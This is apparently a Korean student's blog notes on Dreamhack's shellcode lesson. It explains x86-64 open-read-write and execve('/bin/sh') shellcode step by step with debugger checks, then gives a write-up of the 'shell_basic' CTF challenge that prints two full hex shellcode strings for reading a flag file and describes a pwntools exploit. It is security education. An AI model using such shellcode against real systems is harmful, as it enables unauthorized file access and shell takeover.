✔️ Exploit Tech: Shellcode
해킹 분야에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라고 부른다.
해당 커리큘럼에서는 시스템 해킹의 익스플로잇과 관련된 총 9가지 공격기법을 소개하는데,
그 중 첫 번째 공격기법으로 셸코드를 소개한다.
셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다.
셸을 획득하는 것은 시스템 해킹 관점에서 매우 중요한데, 이유는 execve 셸 코드에서 살펴본다.
만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있다면 해커는 원하는 어셈블리 코드가
실행되게 할 수 있고 어셈블리어는 기계어와 거의 1:1 대응이므로 원하는 모든 명령을
CPU에게 내릴 수 있게 된다.
셸코드는 공격을 수행할 아키텍처와 운영체제에 따라, 셸코드의 목적에 따라 다르게 작성되며
해당 아키텍처별 자주 사용되는 셸코드를 모아서 공유하는 사이트도 존재한다.
(참고: http://shell-storm.org/shellcode/index.html)
이번 코스에서는 파일 읽고 쓰기(open-read-write, orw)와
셸 획득(execve)과 관련된 셸코드를 작성해보고 디버깅해본다.
orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.
구현하려는 셸 코드의 동작을 C언어 형식으로 표현하면 다음과 같다.
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
orw에서 첫 번째로 해야하는 일은 "/tmp/flag"라는 문자열을 메모리에 위치시키는 것이다.
int fd = open("/tmp/flag", RD_ONLY, NULL); 에서 open 함수는 rax에 0x02 값을 받는다.
해당 문자열을 스택에 push하고 rdi가 이것을 가리키도록 rsp를 rdi로 옮긴다.
(참고: https://codebrowser.dev/glibc/glibc/bits/fcntl.h.html)
해당 사이트를 참고하였을 때, O_RDONLY는 0이므로 rsi는 0으로 설정한다.
파일을 읽을 때는 mode에 의미를 갖지 않으므로 rdx는 0으로 설정된다.
해당 과정을 살펴보면,
1) 문자열이 push되어 스택에 삽입된다.
2) 스택에서 문자열을 가리키는 최상단의 rsp를 rdi로 옮긴다.
3) O_RDONLY는 0이므로 xor 연산을 통해 rsi를 0으로 설정한다.
4) rdx는 의미를 갖지 않으므로 xor을 통해 0으로 설정한다.
5) syscall에서 open()을 위해 rax를 2로 설정한다.
6) 마지막으로 syscall 명령어를 통해 위의 해당 과정을 마무리한다.
위에서 오픈한 파일을 읽기 위해서는 read에 해당하는 syscall이 필요하다.
open으로 획득한 /tmp/flag의 *파일 디스크립터는 rax에 저장된다.
해당 값을 첫 번째 인자에 설정해야하기 때문에 rax를 rdi에 대입한다.
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리키고,
0x30만큼 읽을 것이므로 rsi에 rsp-0x30을 대입한다. (영역 확보)
rdx는 파일로부터 읽을 데이터의 길이인 0x30으로 설정하고,
read에 해당하는 시스템콜을 호출하기 위해 rax를 0으로 설정한다.
*파일 디스크립터(fd, file descriptor)란?
- 유닉스 계열 운영체제에서 파일에 접근하는 소프트웨어에 제공하는
가상의 접근 제어자이다.
- 서술자 각각은 번호로 구별되는데,
일반적으로 0번은 일반 입력인 Standard Input, STDIN을 의미하고,
1번은 일반 출력인 Standard Output, STDOUT을 의미하고,
2번은 일반 오류인 Standard Error, STDERR에 할당되어 있으며
이들은 프로세스를 터미널과 연결하기 때문에 우리는 키보드를 통해
프로세스에 입력을 전달하고 출력을 터미널로 받을 수 있다.
write에서 출력은 stdout으로 할 것이므로 rdi를 1로 설정한다.
rsi와 rdx는 read와 동일하게 사용하고 write system call 호출을 위해
rax를 0x01로 설정한다.
해당 과정에 대해서 gcc 컴파일을 통해 이를 ELF 형식으로 변형할 수 있는데,
이 코스에서는 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고
해당 코드에 셸코드를 탑재하는 방법을 사용한다.
스켈레톤 코드는 핵심 내용이 비어있는, 기본 구조만 갖춘 코드를 의미한다.
해당 프로그램을 통해 /tmp/flag에 있는 파일의 내용을
열고 읽고 쓰는 과정을 정상적으로 확인할 수 있다.
실제로 동작하는 과정도 앞에서 살펴본 것과 동일하다.
run_sh 함수에 브레이크 포인트를 설정하고 run을 시켜주면,
run_sh 함수의 시작부분까지 코드를 실행시키는 것을 확인할 수 있다.
여기서 중간에 나오는 초록색 글씨부터 함수의 시작이고
syscall까지 제대로 구현되어 있는지 확인할 수 있다.
ni 명령어를 계속해서 입력해주면서 syscall 부분까지 오게 되면
file에 /tmp/flag 문자열이 들어간 것을 확인할 수 있고
rdi가 해당 문자열을 가리키는 것과 스택에 들어간 부분을 확인할 수 있다.
rax가 0x0으로 설정되고 해당 파일 디스크립터와 버퍼, 크기가 들어가는
read 함수의 실행 부분이다.
그리고서는 스택에 들어간 해당 부분을 x/s 명령어로 확인할 수 있다.
이렇게 들어간 문자열은 rax가 0x1로 설정되면서 write 함수를 불러오게 된다.
그런데 앞서 출력된 플래그는 알수없는 문자열과 함께 출력되었는데,
해당 내용은 초기화되지 않은 메모리 영역 사용에 의한 것이다.
즉, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 됩니다. 우리는 이를 쓰레기 값(garbage data)이라고 표현하기도 합니다.
해당 쓰레기 값은 예상치 못한 동작을 일으키거나
해커에게 의도치 않게 중요한 정보를 노출할 수 있다.
이러한 값을 유출해 내는 것을 메모리 릭(Memory Leak)이라고 부른다.
✔️ execve 셸코드
셸이라는 것은 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로
운영체제 핵심 기능을 하는 프로그램을 커널이라고 하는 것과 대비된다.
Shell, 껍질 <-> Kernel, 호두 속 내용물
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데,
이를 이용하면 서버의 셸을 획득할 수 있다.
다른 언급없이 셸코드라고 하면 이를 의미하는 경우가 많다.
해당 코스에서는 /bin/sh를 실행하는 execev 셸코드를 작성해본다.
execve 셸코드는 execve 시스템 콜만으로 구성되는데
rax는 0x3b 값을 받게되고 rdi에는 filename을 받게된다.
rsi에는 실행파일에 넘겨줄 인자 argv가 들어가고,
rdx에는 환경변수 envp가 들어간다.
sh만 실행하면 되기 때문에 다른 값들은 전부 null로 설정해도 되기 때문에
execve("/bin/sh", null, null)을 실행하는 것을 목표로 셸 코드를 작성한다.
바이트는 역순으로 들어가기 때문에 hs/nib/에 해당하는 hex로
ascii에서 변환하여 값을 입력한다.
스택에 /bin/sh 문자열을 집어넣게 되고,
rsi와 rdx에는 null이 들어가기 때문에 xor 연산으로 초기화하게 된다.
execve를 의미하는 0x3b를 rax에 담아주고 exit를 의미하는 0x3c까지 불러와서 종료한다.
실행 결과 /bin/sh 셸에 해당하는 id 값을 획득할 수 있다.
또한, 이러한 셸코드를 opcode, 바이트 코드로 바꾸어 확인할 수 있다.
🔰 퀴즈
1) 2 0 1
2-a) 0x7fffffffc278
2-b) 0x3b
바로 이어서 다음 문제를 풀어보자.
✔️ shell_basic write-up
문제 정보
- 입력한 셸코드를 실행하는 프로그램이다.
- flag 위치와 이름은 /home/shell_basic/flag_name_is_loooooong이다.
해당 flag의 위치와 이름을 뒤집어서 각각 스택에 저장해주어야 한다.
ascii to hex를 앞에서 했던 것처럼 수행해준다.
그리고나서 shell_basic이라는 어셈블리 코드를 작성해주고,
바로 위에서 했던 것처럼 nasm 명령어로 목적코드를 만들고,
바이트 코드로 변환하는 작업을 해보자!
해당 코드는 위에서 배운 내용과 95% 일치하게 작성되었다.
텍스트 영역에서 start 코드를 실행하는 부분부터 시작하여
rax에 8자리의 문자열을 각각 입력해주는데,
구조상 뒤로 들어가야하기 때문에
mov rax, gnoooooo
mov rax, l_si_ema
mov rax, n_galf/c
mov rax, isab_lle
mov rax, hs/emoh/
요러한 느낌으로다가 들어간다고 생각하면 된다.
그리고나서 스택에 들어간 값이 "/home/shell_basic/flag_name_is_loooooong"이고,
해당 rsp 포인터를 rdi에 집어넣어준다.
이것을 오픈하기 위해 O_RDONLY에 해당하는 rsi 0으로, rdx는 모드가 없어서 0으로 하고
open에 해당하는 0x2를 rax에 집어넣어준다.
그리고 read와 write의 과정을 거쳐야하는데,
위에서 똑같이 동일하게 rsi를 0x30만큼의 공간을 확보해주고
read에 해당하는 0x0을 rax에 집어넣어줌으로 read(fd, buf, 0x30)을 거친다.
write는 rdi에 STDOUT을 의미하는 1의 값과
write에 해당하는 0x1을 rax에 집어넣어줌으로 write(fd, buf, 0x30)을 거친다.
그리고 마지막으로 syscall의 종료 exit를 선언하는 0x3C를 넣어주고 종료한다.
여기서 변환되어 나온 값들을 \x를 달고 한번 입력해보자.
\x48\xb8\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x54\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05
수동으로 치다가 눈알 빠질뻔 했는데 한번 nc host port 입력해서 연결해보자.
한참을 기다려도 아무런 반응이 없다.
이러한 방법으로 푸는게 아니고, 쓰레기 값도 포함되어 있어서 그런게 아닐까
생각해보면서 문제 코드부터 다시 보기 시작했다.
메인 함수를 우선 보게 되면, 쉘코드 변수에 mmap으로 받고있다.
READ, WRITE, EXEC 이러한 것들을 받아서 읽는 것으로 보이는
문제 정보에 나와있는 것처럼 나머지는 execve, execveat 시스템 콜을
사용하지 못하도록 막는 함수들임을 확인할 수 있다.
해당 문제에 대한 익스플로잇 코드를 구현하기 위해서
이전시간에 설치한 pwntools를 이용해야한다는 것을
여러 사이트를 참고하면서 알고 공부하게 되었다.
놓친 바이트 코드가 있을 수도 있어서 바로 위에서 덤프로 확인하는 방법을
참고하여 해당 문제에 대한 목적코드를 덤프떠보았다.
이렇게해서 짠 exploit 코드는 다음과 같다.
remote로 호스트와 포트를 연결해주고,
code는 바이트 코드를 작성한뒤 저번 글에 나온것처럼
sendafter 인자1에 출력, 인자2에 입력을 받아주고
interactive로 터미널에 출력하게 되는데
계속해서 EOF 오류가 나길래 이게 아닌가해서
코드를 다시 고쳐보았다. 원래는 스택에 들어가는 값을 먼저 푸쉬하고
초기화하는 코드였었는데 먼저 초기화하는 방법으로 바꾸어주었다.
그리고나서 dump 값을 확인해보았다.
xor 연산을 먼저 수행하여 초기화하고 rsi를 푸쉬한 다음에
rax값에 값을 담아주는 방법으로 진행했다.
\x48\x31\xf6\x48\x31\xd2\x56\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05
수정한 값에 맞게 shell_basic_exploit.py 코드를 작성해주었다.
정상적으로 값이 출력되는 것을 확인할 수 있다.
처음 풀어보는 시스템 문제이자 입문 문제인데도
접근하는 방향을 몰라서 어려웠던 것 같다.
접근하는 방향을 생각해보고 pwntools, shellcraft 등
적극적으로 찾아보고 사용해보는 연습이 필요할 것 같다.
화이팅 💪
'CTF > 시스템해킹' 카테고리의 다른 글
[Dreamhack] Stack Canary (0) | 2022.10.23 |
---|---|
[Dreamhack] Stack Buffer Overflow (0) | 2022.10.22 |
[Dreamhack] Tool Installation (0) | 2022.10.21 |
[Dreamhack] Background - CS (0) | 2022.10.20 |
[Dreamhack] System hacking Introduction (0) | 2022.10.18 |